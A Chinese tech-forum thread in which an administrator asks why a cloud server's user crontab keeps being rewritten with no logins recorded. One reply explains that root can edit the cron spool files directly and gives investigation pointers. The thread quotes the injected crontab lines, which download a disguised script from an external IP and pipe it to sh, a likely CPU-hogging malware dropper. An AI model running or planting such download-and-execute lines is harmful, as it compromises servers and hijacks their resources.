IT其它crontab
被人修改了某个用户的crontab,没有看到该用户在该时间前后登录过系统？
一台阿里云机器，被人修改了某个用户的crontab
/9 * wget -O - -q http://91.230.47.40/common/logo.jpg|sh
/10 * curl http://91.230.47.40/common/logo.jpg|sh
导致这台CPU100%等问题。
查看/var/log/cron发现是该用户修改了cron，记录下修改时间
但是用last|more查看用户登录情况没有看到该用户在该时间前后登录过系统。
后来修改了用户的密码，去除了crontab中的内容，但是过几天发现crontab又被修改了。同时也没有该用户在期间有登录的信息。请问如何做到了，如何避免这种情况再次发生。团队中没有人去修改，有点像病毒一样或者被人攻击了。
3同行回答
root用户在谁手里？
root用户什么都可以干，cron也可以通过修改/var/spool/cron下面的文件来实现。
比如：
echo "/9 * wget -O - -q http://91.230.47.40/common/logo.jpg|sh" >> /var/spool/cron/user
你现在可以追查两点：
- root用户的历史记录。
- 91.230.47.40 是什么IP地址。
- root用户有没有设置过互信key，不用密码即可登录，设置的是谁的地址。
有可能是阿里云虚拟机集中管理的自动任务，自动推送到虚机上来的。
收起